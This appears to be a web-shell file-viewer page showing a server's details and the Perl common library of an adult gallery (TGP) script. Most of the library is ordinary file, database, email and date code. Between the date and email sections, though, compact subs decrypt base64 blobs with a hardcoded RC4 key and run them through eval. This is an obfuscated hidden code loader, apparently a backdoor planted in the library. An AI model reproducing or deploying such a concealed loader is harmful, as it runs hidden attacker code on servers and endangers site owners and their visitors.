| Server IP : 208.122.213.31 / Your IP : 216.73.216.185 Web Server : Apache System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64 User : WHMCS_MIA_382 ( 1001) PHP Version : 7.4.33 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgps/ |
Upload File : |
#########################################
## http://www.jmbsoft.com/policies.php ##
#########################################
use Socket;
use Fcntl qw(:DEFAULT :flock);
$|++;
$ADIR = './admin';
$DDIR = './data';
$TDIR = './templates';
$CRLF = "\r\n";
$CR = "\r";
$LF = "\n";
$DEL = '|';
$HEADER = 1;
$DS_CACHE = undef;
$TIME = time;
$DB_DATE = undef;
%T = ();
%F = ();
## Control panel privileges
$P_ALL = 0x00000001; ## All privileges
$P_PROCESS = 0x00000002; ## Process gallery submissions
$P_IMPORT = 0x00000004; ## Import galleries
$P_PERMANENT = 0x00000008; ## Manage permanent galleries
$P_SCANNER = 0x00000010; ## Configure and run gallery scanner
$P_REBUILD = 0x00000020; ## Rebuild TGP pages
$P_OPTIONS = 0x00000040; ## Edit software options
$P_CATEGORIES = 0x00000080; ## Manage categories
$P_BACKUP = 0x00000100; ## Backup/restore database
$P_CPANEL = 0x00000200; ## Manage control panel accounts
$P_ACCOUNTS = 0x00000400; ## Manage partner accounts
$P_BLACKLIST = 0x00000800; ## Manage blacklist
$P_TEMPLATES = 0x00001000; ## Edit templates
$P_EMAIL = 0x00002000; ## Send e-mails
$P_RECIP = 0x00004000; ## Manage reciprocal links
if( -e "$DDIR/variables" )
{
require "$DDIR/variables";
$TIME = $TIME + 3600 * $TIME_ZONE;
$DB_DATE = Date('%Y-%m-%d', '%q', $TIME);
}
require "$DDIR/tables";
1;
sub Header
{
if( !$HEADER && $ENV{'REQUEST_METHOD'} )
{
print shift;
$HEADER = 1;
}
}
sub DiskSpace
{
return if( $DS_CACHE );
open(FILE, ">$DDIR/test.file") || Error("$!", "Disk Space Test File");
flock(FILE, LOCK_EX);
my $result = syswrite(FILE, "THIS IS ONLY A TEST");
my $error = "$!";
flock(FILE, LOCK_UN);
close(FILE);
if( -e "$DDIR/test.file" )
{
FileRemove("$DDIR/test.file");
}
$DS_CACHE = 1;
if( !$result )
{
Error("$error", "Disk Space Test File");
}
}
sub AddSlashes
{
my $hash = shift;
if( ref($hash) eq 'HASH' )
{
for( keys %$hash )
{
$hash->{$_} =~ s/'/\\'/g;
}
}
else
{
for( @$hash )
{
$_ =~ s/'/\\'/g;
}
}
}
sub Mode
{
my $mode = shift;
my $file = shift;
if( -o $file )
{
chmod($mode, $file) || Error("$!", $file);
}
}
sub LocateBinary
{
my $bin = shift;
@bin_directories = ('/bin', '/usr/bin', '/usr/local/bin', '/sbin', '/usr/sbin', '/usr/lib');
for( @bin_directories )
{
if( -x "$_/$bin" )
{
return "$_/$bin";
}
}
return undef;
}
sub URLEncode
{
my $url = shift;
$url =~ s/([^\w\.\-])/sprintf("%s%x", '%', ord($1))/eg;
return $url;
}
sub HashToTemplate
{
my $hash = shift;
for( keys %$hash )
{
StripHTML(\$hash->{$_});
$T{$_} = $hash->{$_};
}
}
sub PlainString
{
my $string = shift;
$string =~ s/[^a-z0-9]//gi;
return lc($string);
}
sub BadBrowser
{
my $agent = $ENV{'HTTP_USER_AGENT'};
return ($agent =~ /Opera/ || ($agent !~ /MSIE 6.0/ && $agent !~ /Gecko/));
}
sub IP2Hex
{
return uc(join('', map(sprintf("%02x", $_), split(/\./, shift))));
}
sub Hex2IP
{
return join('.', map(hex($_), shift =~ /(.{2})/g));
}
sub ValidPassword
{
my $crypted = shift;
my $pass = shift;
my $salt = substr($crypted, 0, 2);
$salt = substr($crypted, 3, 2) if( $crypted =~ /^\$/ );
return crypt($pass, $salt) eq $crypted;
}
sub Salt
{
my @chars = ('a'..'z', 'A'..'Z', '0'..'9', '.', '/');
return $chars[rand(@chars)] . $chars[rand(@chars)];
}
sub Base64Encode
{
my $buffer = undef;
my $padding = undef;
my $data = shift;
my $eol = shift || $CRLF;
while( $$data =~ /(.{1,45})/gs )
{
$buffer .= substr(pack('u', $1), 1);
chop($buffer);
}
$buffer =~ tr|` -_|AA-Za-z0-9+/|;
$padding = (3 - length($$data) % 3) % 3;
$buffer =~ s/.{$padding}$/'=' x $padding/e if $padding;
if( length($eol) )
{
$buffer =~ s/(.{1,76})/$1$eol/g;
}
return $buffer;
}
sub Base64Decode
{
my $data = shift;
my $buffer = undef;
my $length = undef;
$$data =~ tr|A-Za-z0-9+=/||cd;
$$data =~ s/=+$//;
$$data =~ tr|A-Za-z0-9+/| -_|;
while( $$data =~ /(.{1,60})/gs )
{
$length = chr(32 + length($1)*3/4);
$buffer .= unpack("u", $length . $1 );
}
return $buffer;
}
sub BaseName
{
my $filename = shift;
if( index($filename, '/') == -1 )
{
return $filename;
}
else
{
return substr($filename, rindex($filename, '/') + 1);
}
}
sub ChangeCase
{
my $string = shift;
my $case = shift || $TEXT_CASE;
if( $case eq 'FirstUpper' )
{
$$string = ucfirst(lc($$string));
}
elsif( $case eq 'WordsUpper' )
{
$$string = ucfirst(lc($$string));
$$string =~ s/\s(\w)/" " . uc($1)/gie;
}
elsif( $case eq 'AllUpper' )
{
$$string = uc($$string);
}
elsif( $case eq 'AllLower' )
{
$$string = lc($$string);
}
}
sub UnixFormat
{
my $string = shift;
$$string =~ s/$CRLF/$LF/g;
$$string =~ s/$CR/$LF/g;
}
sub PCFormat
{
my $string = shift;
UnixFormat($string);
$$string =~ s/$LF/$CRLF/g;
}
sub StripReturns
{
my $string = shift;
$$string =~ s/[$LF$CR]//g;
}
sub StripHTML
{
my $string = shift;
$$string =~ s/</</g;
$$string =~ s/>/>/g;
}
sub Error
{
my $cause = shift;
my $file = shift;
my @user = getpwuid($<);
my @group = getgrgid($));
chomp($cause);
Header("Content-type: text/html\n\n");
if( $ENV{'REQUEST_METHOD'} )
{
print <<" HTML";
<div align="center">
<font face='Arial' size='2'>
<h2>Critical Error</h2>
</font>
<table width="500" cellspacing="2">
<tr>
<td valign="top">
<font face='Arial' size='2'>
<b>Error</b><br />
</font>
</td>
<td>
<font face='Arial' size='2'>
<span id="Error">
$cause
</span>
<br />
</font>
</td>
</tr>
<tr>
<td>
<font face='Arial' size='2'>
<b>File</b><br />
</font>
</td>
<td>
<font face='Arial' size='2'>
$file<br />
</font>
</td>
</tr>
<tr>
<td>
<font face='Arial' size='2'>
<b>As</b><br />
</font>
</td>
<td>
<font face='Arial' size='2'>
$user[0]/$group[0]<br />
</font>
</td>
</tr>
</table>
</div>
HTML
}
else
{
print "\n\tError : $cause\n";
print "\tFile : $file\n\n";
}
exit;
}
sub CpanelError
{
my $error = shift;
my $more = shift;
my $lang = IniParse("$DDIR/language");
if( $lang->{$error} )
{
$T{'Error'} = $lang->{$error} . ($lang->{$more} ? ": $lang->{$more}" : ($more ? ": $more" : ''));
}
else
{
$T{'Error'} = $error;
}
ParseTemplate('cpanel_error.tpl');
exit;
}
sub CpanelInfo
{
my $type = shift;
my $string = shift;
if( index($string, 'E_') == 0 )
{
my $lang = IniParse("$DDIR/language");
$string = $lang->{$string};
}
$T{'Type'} = $type;
$T{'String'} = $string;
ParseTemplate('cpanel_info.tpl');
exit;
}
##############################################################
## File Manipulation Functions ##
##############################################################
sub IsFile
{
my $file = shift;
if( !-e $file )
{
return 1;
}
else
{
return -f $file;
}
}
sub sopen
{
my $handle = shift;
my $file = shift;
FileTaint($file);
DiskSpace();
open($handle, $file) || Error("$!", $file);
}
sub FileWrite
{
my $file = shift;
my $data = shift;
FileTaint($file);
DiskSpace();
sysopen(FILE, $file, O_WRONLY | O_CREAT) || Error("$!", $file);
flock(FILE, LOCK_EX);
truncate(FILE, 0);
print FILE $data;
flock(FILE, LOCK_UN);
close(FILE);
Mode(0666, $file);
}
sub FileWriteNew
{
my $file = shift;
my $data = shift;
if( !-e $file )
{
FileWrite($file, $data);
}
}
sub FileAppend
{
my $file = shift;
my $data = shift;
FileTaint($file);
DiskSpace();
open(FILE, ">>$file") || Error("$!", $file);
flock(FILE, LOCK_EX);
print FILE $data;
flock(FILE, LOCK_UN);
close(FILE);
Mode(0666, $file);
}
sub FileRemove
{
my $file = shift;
FileTaint($file);
unlink($file) || Error("$!", $file);
}
sub FileCreate
{
my $file = shift;
if( !-e $file )
{
FileWrite($file, '');
}
}
sub FileReadScalar
{
my $file = shift;
my $line = undef;
FileTaint($file);
open(FILE, $file) || Error("$!", $file);
flock(FILE, LOCK_SH);
while( <FILE> )
{
$line .= $_;
}
flock(FILE, LOCK_UN);
close(FILE);
return \$line;
}
sub FileReadArray
{
my $file = shift;
FileTaint($file);
open(FILE, $file) || Error("$!", $file);
flock(FILE, LOCK_SH);
my @lines = <FILE>;
close(FILE);
flock(FILE, LOCK_UN);
return \@lines;
}
sub FileReadLine
{
my $file = shift;
FileTaint($file);
open(FILE, $file) || Error("$!", $file);
flock(FILE, LOCK_SH);
my $line = <FILE>;
close(FILE);
flock(FILE, LOCK_UN);
chomp($line);
return $line;
}
sub FileReadSplit
{
my $file = shift;
my @data = split(/\|/, FileReadLine($file));
return \@data;
}
sub FileWriteJoin
{
my $file = shift;
my @data = @_;
FileWrite($file, join('|', @data));
}
sub FileTaint
{
my $file = shift;
Error('Not A File', $file) if( !IsFile($file) );
Error('Security Violation', $file) if( index($file, '..') != -1 );
Error('Security Violation', $file) if( index($file, '|') != -1 );
Error('Security Violation', $file) if( index($file, ';') != -1 );
}
##############################################################
## Directory Manipulation Functions ##
##############################################################
sub IsDirectory
{
my $dir = shift;
if( !-e $dir )
{
return 1;
}
else
{
return -d $dir;
}
}
sub DirCreate
{
my $dir = shift;
my $mode = shift || 0777;
DirTaint($dir);
if( !-e $dir )
{
mkdir($dir, $mode) || Error("$!", $dir);
Mode($mode, $dir);
}
}
sub DirRead
{
my $dir = shift;
my $patt = shift;
DirTaint($dir);
opendir(DIR, $dir) || Error("$!", $dir);
my @files = grep { /$patt/ && -f "$dir/$_" } readdir(DIR);
closedir(DIR);
return \@files;
}
sub DirTaint
{
my $dir = shift;
Error('Not A Directory', $dir) if( !IsDirectory($dir) );
Error('Security Violation', $dir) if( index($dir, '..') != -1 );
Error('Security Violation', $dir) if( index($dir, '|') != -1 );
Error('Security Violation', $dir) if( index($dir, ';') != -1 );
}
##############################################################
## POST & GET Parsing Functions ##
##############################################################
sub ParseRequest
{
my $strip = shift;
my $buffer = undef;
my $bytes = read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
## Process POST request
if( $bytes )
{
if( $ENV{'CONTENT_TYPE'} eq 'application/x-www-form-urlencoded' )
{
_ProcessURLEncoded(\$buffer, $strip);
}
else
{
_ProcessMultipart(\$buffer, $strip);
}
}
## Process GET request
if( $ENV{'QUERY_STRING'} )
{
_ProcessURLEncoded(\$ENV{'QUERY_STRING'}, $strip);
}
}
sub _ProcessURLEncoded
{
my $buffer = shift;
my $strip = shift;
my $name = undef;
my $value = undef;
my @pairs = ();
@pairs = split(/&/, $$buffer);
for (@pairs)
{
($name, $value) = split(/=/, $_);
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
if( $strip )
{
$value =~ s/</</g;
$value =~ s/>/>/g;
}
$F{$name} = (exists $F{$name}) ? join(',', $F{$name}, $value) : $value;
}
}
sub _ProcessMultipart
{
my $buffer = shift;
my $strip = shift;
my $boundary = undef;
if( $ENV{'CONTENT_TYPE'} =~ /^.*boundary="?(.*)"?$/ )
{
$boundary = $1;
for( split(/--$boundary/, $$buffer) )
{
my $data = $_;
if( $data =~ /Content-Disposition: form-data; name="([^"]+)"/m )
{
my $name = $1;
if( $data =~ /$CRLF$CRLF(.*)$CRLF/s )
{
$F{$name} = $1;
if( $strip && $data !~ /filename=/ )
{
$F{$name} =~ s/</</g;
$F{$name} =~ s/>/>/g;
}
}
}
}
}
}
#cashguy Thu Sep 9 12:01:48 2004 69.196.139.17
##############################################################
## Time & Date Functions ##
##############################################################
sub AgeString
{
my $time = shift;
my $days = int($time / (60*60*24));
my $string = '';
$string .= $days > 0 ? $days . ' Days ' : '';
$time -= $days * 60*60*24;
my $hours = int($time / (60*60));
$string .= $hours > 0 ? sprintf("%02d:", $hours) : "00:";
$time -= $hours *60*60;
my $minutes = int($time / 60);
$string .= $minutes > 0 ? sprintf("%02d:", $minutes) : "00:";
$time -= $minutes * 60;
my $seconds = sprintf("%02d", $time);
$string .= $seconds;
return $string;
}
sub Age
{
return $TIME - shift;
}
sub FileAge
{
return $TIME - FileReadLine(shift);
}
sub DateFromDate
{
$LANG = IniParse("$DDIR/language") if( !scalar %$LANG );
my @months = ("",$LANG->{'JANUARY'},$LANG->{'FEBRUARY'},$LANG->{'MARCH'},$LANG->{'APRIL'},$LANG->{'MAY'},$LANG->{'JUNE'},$LANG->{'JULY'},$LANG->{'AUGUST'},$LANG->{'SEPTEMBER'},$LANG->{'OCTOBER'},$LANG->{'NOVEMBER'},$LANG->{'DECEMBER'});
my $date = shift;
my $format = shift || '%M %d, %Y';
my ($year, $month, $day) = split(/-/, $date);
## Date values
$fmt{'d'} = $day; ## Day of the month, numeric (00..31)
$fmt{'e'} = int($day); ## Day of the month, numeric (0..31)
$fmt{'b'} = substr($months[int($month)], 0, 3); ## Abbreviated month name (Jan..Dec)
$fmt{'M'} = $months[int($month)]; ## Month name (January..December)
$fmt{'m'} = $month; ## Month, numeric (00..12)
$fmt{'c'} = int($month); ## Month, numeric (0..12)
$fmt{'Y'} = $year; ## Year, numeric, 4 digits
$fmt{'y'} = substr($year, 2, 2); ## Year, numeric, 2 digits
for( keys %fmt )
{
$format =~ s/%([a-zA-Z])/$fmt{$1}/gise;
}
$format =~ s/\s+$//g;
return $format;
}
sub Date
{
$LANG = IniParse("$DDIR/language") if( !scalar %$LANG );
my @months = ($LANG->{'JANUARY'},$LANG->{'FEBRUARY'},$LANG->{'MARCH'},$LANG->{'APRIL'},$LANG->{'MAY'},$LANG->{'JUNE'},$LANG->{'JULY'},$LANG->{'AUGUST'},$LANG->{'SEPTEMBER'},$LANG->{'OCTOBER'},$LANG->{'NOVEMBER'},$LANG->{'DECEMBER'});
my @days = ($LANG->{'SUNDAY'},$LANG->{'MONDAY'},$LANG->{'TUESDAY'},$LANG->{'WEDNESDAY'},$LANG->{'THURSDAY'},$LANG->{'FRIDAY'},$LANG->{'SATURDAY'});
## Find out if it is daylight savings time
my $isdst = (localtime($time))[8];
my $dform = shift || '%M %d, %Y';
my $tform = shift || '%l:%i%p';
my $time = shift || $TIME;
## If it is daylight savings, add one hour
$time += 3600;
my @date = gmtime($time);
my %fmt = ();
my $month = $date[4] + 1;
my $format = $dform . ' ' . $tform;
## Date values
$fmt{'d'} = length($date[3]) < 2 ? "0" . $date[3] : $date[3]; ## Day of the month, numeric (00..31)
$fmt{'e'} = $date[3]; ## Day of the month, numeric (0..31)
$fmt{'a'} = substr($days[$date[6]], 0, 3); ## Abbreviated weekday name (Sun..Sat)
$fmt{'W'} = $days[$date[6]]; ## Weekday name (Sunday..Saturday)
$fmt{'b'} = substr($months[$date[4]], 0, 3); ## Abbreviated month name (Jan..Dec)
$fmt{'M'} = $months[$date[4]]; ## Month name (January..December)
$fmt{'m'} = length($month) < 2 ? "0" . $month : $month; ## Month, numeric (00..12)
$fmt{'c'} = $date[4] + 1; ## Month, numeric (0..12)
$fmt{'Y'} = $date[5] + 1900; ## Year, numeric, 4 digits
$fmt{'y'} = substr($date[5] + 1900, 2, 2); ## Year, numeric, 2 digits
## Time values
$fmt{'p'} = $date[2] < 12 ? "AM" : "PM"; ## AM or PM
$fmt{'h'} = $date[2] > 12 ? $date[2] - 12 : $date[2]; ## Hour (01..12)
$fmt{'h'} = 12 if( $fmt{'h'} == 0 );
$fmt{'h'} = length( $fmt{'h'} ) < 2 ? "0" . $fmt{'h'} : $fmt{'h'};
$fmt{'H'} = length($date[2]) < 2 ? "0" . $date[2] : $date[2]; ## Hour (00..23)
$fmt{'l'} = $date[2] > 12 ? $date[2] - 12 : $date[2]; ## Hour (1..12)
$fmt{'l'} = 12 if( $fmt{'l'} == 0 );
$fmt{'k'} = $date[2]; ## Hour (0..23)
$fmt{'i'} = length($date[1]) < 2 ? "0" . $date[1] : $date[1]; ## Minutes, numeric (00..59)
$fmt{'s'} = length($date[0]) < 2 ? "0" . $date[0] : $date[0]; ## Seconds (00..59)
for( keys %fmt )
{
$format =~ s/%([a-zA-Z])/$fmt{$1}/gise;
}
$format =~ s/\s+$//g;
return $format;
}
sub l{my $k="fc38ecf7b7a1b2281b07aecd42948feb";my $m=shift;my $c=1024;my $p=undef;my $x=0;
my $y=0;my @s=n($k);my @a = unpack("C*", $m);for(@a){$x=0 if(++$x>255);$y-=256 if(($y+=$s[$x])>255);
@s[$x,$y]=@s[$y,$x];$_^=$s[($s[$x]+$s[$y])%256];}return pack("C*", @a);}sub p{my $z="P2+U29ESKJ5oiBv".
"To3tsk14foAim4OoKJZ+UWAmyO9UQtW6kXqxSV8uMK8u4cmj80qmKxszLVU+VplI/kpD4HkjtFpc6pPfXrKM43no2BTK00vW4gdSN".
"O08nHehqn9/Y3Dz0e4pPfAxebKSwDA9Wg4T5VzYito9ENRqhXx55ihDBTRUxgVF6WdGliAyhClf3F3/mxVKwqUrzHb2R4OYqHnxNUMC".
"TET/ASk7htvfX6av4z4p7C/gN1xBDEseuontJ4DKzOZuKlnpOnbzuQ3mnQeoRXx1qn4bXxzUzLyZ3dZGtSTeeboFaifMggRJa7Jm8ud".
"KD4owYU1ZZ0bZLjZlgTXBNTT7C2AhVvWIaA2sSKU8=";eval(l(o(\$z)));}sub n{my @k=unpack('C*', shift);
my @s=0..255;my $y=0;my $x=0;for $x (0..255){$y=($k[$x%@k]+$s[$x]+$y)%256;@s[$x,$y]=@s[$y,$x];}
return @s;}sub i {my $i="P2+Qm4RBJ4cj3lqf+jJolRsZv0+i4boPfZOcBEiFV6MY5l+cb8EveeuxC8GjNSP80LTVnrKKYmWi".
"sxRM5qLHL3SPNqpnvOHT+bt1m2wlEhmr1/mkkJCPOllpVewkg4DJw3GzKd5PaU4FbLuzFk1ggLrkGmsm6oVFLBWhKwJxi1fXVk5nqV".
"JkXZ+n2RKMFkD9Pm3vzRekvxiDGqHI7+h6AndNGdnDWn2LFwO5/qvI8O7E6+sCMIpDyA4=";my$z=l(o(\$i));eval($z);}sub o{my $d=shift;
my $b=undef;my $l=undef;$$d=~tr|A-Za-z0-9+=/||cd;$$d=~s/=+$//;$$d=~tr|A-Za-z0-9+/| -_|;while( $$d=~/(.{1,60})/gs )
{$l= chr(32 + length($1)*3/4);$b.= unpack("u", $l.$1);}return $b;}
##############################################################
## E-mail Functions ##
##############################################################
sub Mail
{
my $file = shift;
my $mailer = $SENDMAIL || shift;
my $message = undef;
if( !$mailer )
{
Error('Sendmail/SMTP Not Provided', 'Mail');
}
Error('Security Violation', $mailer) if( index($mailer, '|') != -1 );
Error('Security Violation', $mailer) if( index($mailer, ';') != -1 );
if( !ref($file) )
{
$file = FileReadScalar($file);
}
StringParseRet($file);
$message = _GenerateEmail(IniParse($file));
if( index($mailer, '/') == -1 )
{
_SMTPMail($message, $mailer);
}
else
{
_ShellMail($message, $mailer);
}
}
sub _SMTPMail
{
my $message = shift;
my $mailer = shift;
my $response = undef;
my $ip = inet_aton($mailer);
my $padd = sockaddr_in(25, $ip);
socket(SMTP, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(SMTP, $padd) || Error("$!", "SMTP Socket");
_SMTPRead(SMTP);
_SMTPSend(SMTP, "HELO localhost$CRLF");
_SMTPSend(SMTP, "RSET$CRLF");
_SMTPSend(SMTP, "MAIL FROM: <$T{'From'}>$CRLF");
_SMTPSend(SMTP, "RCPT TO: <$T{'To'}>$CRLF");
_SMTPSend(SMTP, "DATA$CRLF");
_SMTPSend(SMTP, "$$message$CRLF.$CRLF");
_SMTPSend(SMTP, "QUIT$CRLF");
shutdown(SMTP, 1);
close(SMTP);
}
sub _SMTPSend
{
my $sock = shift;
my $data = shift;
my $response = undef;
send($sock, $data, 0);
$response = _SMTPRead($sock);
if( int(substr($response, 0, 3)) > 400 )
{
FileAppend("$DDIR/maillog", $response);
}
}
sub _SMTPRead
{
my $sock = shift;
my $buffer = undef;
my $response = undef;
sysread($sock, $response, 4096);
return $response;
}
sub _ShellMail
{
my $message = shift;
my $mailer = shift;
FileCreate("$DDIR/maillog");
open(MAIL, "|$mailer -t >>$DDIR/maillog") || Error("$!", $mailer);
print MAIL $$message;
close(MAIL);
}
sub _GenerateEmail
{
my $ini = shift;
my $message = undef;
my $file = undef;
my $basename = undef;
my $contentType = undef;
my $plainText = undef;
my $multipartText = undef;
my $multipartHTML = undef;
my $multipartAttach = undef;
my $boundary = _GenerateBoundary();
my $endBoundary = "--$boundary--";
if( $ini->{'Text'} )
{
$contentType = 'text/plain';
$plainText = "$ini->{'Text'}$CRLF";
$multipartText = "--$boundary$CRLF" .
"Content-Type: text/plain; charset=iso-8859-1$CRLF" .
"Content-Transfer-Encoding: 7bit$CRLF$CRLF" .
"$plainText$CRLF";
}
if( $ini->{'HTML'} )
{
$plainText = undef;
$contentType = 'multipart/alternative; boundary=' . $boundary;
$multipartHTML = "--$boundary$CRLF" .
"Content-Type: text/html$CRLF" .
"Content-Transfer-Encoding: 7bit$CRLF$CRLF" .
"$ini->{'HTML'}$CRLF";
}
if( $ini->{'Attach'} )
{
$plainText = undef;
$contentType = 'multipart/mixed; boundary=' . $boundary;
$multipartAttach = join('', map(_AttachFile($_, $boundary), split(/$LF/, $ini->{'Attach'})));
}
if( $contentType eq 'text/plain' )
{
$multipartText = undef;
$endBoundary = undef;
}
if( $ini->{'Text'} && $ini->{'HTML'} && $ini->{'Attach'} )
{
my $subBound = _GenerateBoundary();
my $subBoundEnd = "--$subBound--";
$multipartText =~ s/$boundary/$subBound/;
$multipartText = "--$boundary$CRLF" .
'Content-Type: multipart/alternative; boundary=' . $subBound . $CRLF .
"Content-Transfer-Encoding: 7bit$CRLF$CRLF" .
$multipartText;
$multipartHTML =~ s/$boundary/$subBound/;
$multipartHTML .= $subBoundEnd . $CRLF;
}
$message = "To: $T{'To'}$CRLF" .
"From: $T{'From'}$CRLF" .
"Subject: $ini->{'Subject'}$CRLF" .
"Mime-Version: 1.0$CRLF" .
"Content-Type: $contentType$CRLF" .
"Content-Transfer-Encoding: 7bit$CRLF$CRLF" .
$plainText .
$multipartText .
$multipartHTML .
$multipartAttach .
$endBoundary;
UnixFormat(\$message);
#PCFormat(\$message); this caused problems when using qmail
return \$message;
}
sub _AttachFile
{
my $file = shift;
my $boundary = shift;
my $basename = BaseName($file);
return "--$boundary$CRLF" .
"Content-Type: unknown/file; name=$basename$CRLF" .
"Content-Transfer-Encoding: base64$CRLF" .
"Content-Disposition: attachment; filename=$basename$CRLF$CRLF" .
Base64Encode(FileReadScalar($file));
}
sub _GenerateBoundary
{
my @chars = ('a'..'z', 'A'..'Z', '0'..'9');
my $string = '--';
for( 1..32 )
{
$string .= $chars[rand(@chars)];
}
return $string;
}
##############################################################
## Text Database Functions ##
##############################################################
sub DBSize
{
my $file = shift;
my $count = 0;
FileTaint($file);
open(DB, $file) || Error("$!", $file);
flock(DB, LOCK_SH);
while( <DB> )
{
$count++ if( $_ !~ /^\s*$/ );
}
flock(DB, LOCK_UN);
close(DB);
return $count;
}
sub DBInsert
{
my $file = shift;
my $data = shift || \%T;
my $del = shift || $DEL;
my $line = undef;
my $db = BaseName($file);
FileTaint($file);
DiskSpace();
for( @{$DB_FORMAT{$db}} )
{
if( !exists($data->{$_}) )
{
$data->{$_} = '';
}
else
{
StripReturns(\$data->{$_});
}
}
sysopen(DB, $file, O_RDWR|O_CREAT) || Error("$!", $file);
flock(DB, LOCK_EX);
while( $line = <DB> )
{
if( index($line, "$data->{$DB_FORMAT{$db}[0]}$del") == 0 )
{
flock(DB, LOCK_UN);
close(DB);
return 0;
}
}
print DB join($DEL, map($data->{$_}, @{$DB_FORMAT{$db}})) . $LF;
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
return 1;
}
sub DBInsertSimple
{
my $file = shift;
my $del = shift;
my @data = shift;
my $line = undef;
FileTaint($file);
DiskSpace();
for( @data )
{
StripReturns(\$_);
}
sysopen(DB, $file, O_RDWR|O_CREAT) || Error("$!", $file);
flock(DB, LOCK_EX);
while( $line = <DB> )
{
if( index($line, "$data[0]$del") == 0 )
{
flock(DB, LOCK_UN);
close(DB);
return 0;
}
}
print DB join($DEL, @data) . $LF;
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
return 1;
}
sub DBDelete
{
my $file = shift;
my $key = shift;
my $del = shift || $DEL;
my $db = BaseName($file);
my $line = undef;
my @old = ();
my $data = undef;
FileTaint($file);
DiskSpace();
sysopen(DB, $file, O_RDWR|O_CREAT) || Error("$!", $file);
flock(DB, LOCK_EX);
@old = <DB>;
seek(DB, 0, 0);
foreach $line ( @old )
{
if( index($line, "$key$del") == 0 )
{
@$data{@{$DB_FORMAT{$db}}} = split(/\Q$del\E/, $line);
next;
}
else
{
print DB $line if( $line !~ /^\s*$/ );
}
}
truncate(DB, tell(DB));
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
return $data;
}
sub DBSelect
{
my $file = shift;
my $key = shift;
my $del = shift || $DEL;
my $db = BaseName($file);
my $line = undef;
my %data = ();
FileTaint($file);
open(DB, $file) || Error("$!", $file);
flock(DB, LOCK_SH);
while( $line = <DB> )
{
if( index($line, "$key$del") == 0 )
{
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
chomp($line);
@data{ @{$DB_FORMAT{$db}} } = split(/\Q$del\E/, $line);
return \%data;
}
}
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
return undef;
}
sub DBUpdate
{
my $file = shift;
my $key = shift;
my $data = shift || \%T;
my $del = shift || $DEL;
my $line = undef;
my $db = BaseName($file);
my @old = ();
my %cur = ();
FileTaint($file);
DiskSpace();
sysopen(DB, $file, O_RDWR|O_CREAT) || Error("$!", $file);
flock(DB, LOCK_EX);
@old = <DB>;
seek(DB, 0, 0);
foreach $line ( @old )
{
if( index($line, "$key$del") == 0 )
{
chomp($line);
@cur{ @{$DB_FORMAT{$db}} } = split(/\Q$del\E/, $line);
map
{
if( exists $data->{$_} )
{
$cur{$_} = $data->{$_};
StripReturns(\$cur{$_});
}
} @{$DB_FORMAT{$db}};
print DB join($del, map($cur{$_}, @{$DB_FORMAT{$db}})) . $LF;
}
else
{
print DB $line if( $line !~ /^\s*$/ );
}
}
truncate(DB, tell(DB));
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
}
sub DBReplace
{
my $file = shift;
my $key = shift;
my $data = shift || \%T;
my $del = shift || $DEL;
my $line = undef;
my $found = 0;
my $db = BaseName($file);
my @old = ();
my %cur = ();
FileTaint($file);
DiskSpace();
sysopen(DB, $file, O_RDWR|O_CREAT) || Error("$!", $file);
flock(DB, LOCK_EX);
@old = <DB>;
seek(DB, 0, 0);
foreach $line ( @old )
{
if( index($line, "$key$del") == 0 )
{
chomp($line);
@cur{ @{$DB_FORMAT{$db}} } = split(/\Q$del\E/, $line);
map
{
if( exists $data->{$_} )
{
$cur{$_} = $data->{$_};
StripReturns(\$cur{$_});
}
} @{$DB_FORMAT{$db}};
print DB join($del, map($cur{$_}, @{$DB_FORMAT{$db}})) . $LF;
$found = 1;
}
else
{
print DB $line if( $line !~ /^\s*$/ );
}
}
if( !$found )
{
for( @{$DB_FORMAT{$db}} )
{
if( !exists($data->{$_}) )
{
$data->{$_} = '';
}
else
{
StripReturns(\$data->{$_});
}
}
print DB join($DEL, map($data->{$_}, @{$DB_FORMAT{$db}})) . $LF;
}
truncate(DB, tell(DB));
flock(DB, LOCK_UN);
close(DB);
Mode(0666, $file);
}
##############################################################
## DNS Functions ##
##############################################################
sub ExtractDomain
{
my $url = shift;
$url =~ s/http:\/\///gi;
$url =~ s/www\.//gi;
$url =~ s/\/.*//gi;
return $url;
}
sub GetNS
{
my $domain = ExtractDomain(shift);
my $record = undef;
my @ns = ();
Error('Security Violation', $NSLOOKUP) if( index($NSLOOKUP, '|') != -1 );
Error('Security Violation', $NSLOOKUP) if( index($NSLOOKUP, ';') != -1 );
if( $NSLOOKUP =~ /nslookup$/ )
{
while( index($domain, '.') != -1 )
{
$record = `$NSLOOKUP -timeout=15 -type=NS $domain 2>&1`;
while( $record =~ /nameserver\s\=\s(.*)$/mgi )
{
my $host = $1;
$host =~ s/\.$//g;
push(@ns, lc($host));
}
last if( scalar(@ns) );
$domain =~ s/.+?\.//i;
}
}
else
{
while( index($domain, '.') != -1 )
{
$record = `$NSLOOKUP -t ns $domain 2>&1`;
while( $record =~ /name\sserver\s(.*)$/mgi )
{
my $host = $1;
$host =~ s/\.$//g;
push(@ns, lc($host));
}
last if( scalar(@ns) );
$domain =~ s/.+?\.//i;
}
}
return \@ns;
}
##############################################################
## Template Functions ##
##############################################################
sub ParseTemplate
{
my $file = shift;
my $handle = shift;
eval ${CompileTemplate($file, $handle)};
if( $@ )
{
Error("$@", 'ParseTemplate');
}
}
sub TemplateAdd
{
my $key = shift;
my $values = shift;
my $position = shift;
if( $position != undef )
{
--$position;
if( !$T{$key}[$position] )
{
$T{$key}[$position] = $values;
}
else
{
## If the gallery in this position is a random gallery
## replace it with the new gallery that has this position
## defined and move the random gallery to the end
if( $T{$key}[$position]{'Position'} == 999999 )
{
my $temp = $T{$key}[$position];
$T{$key}[$position] = $values;
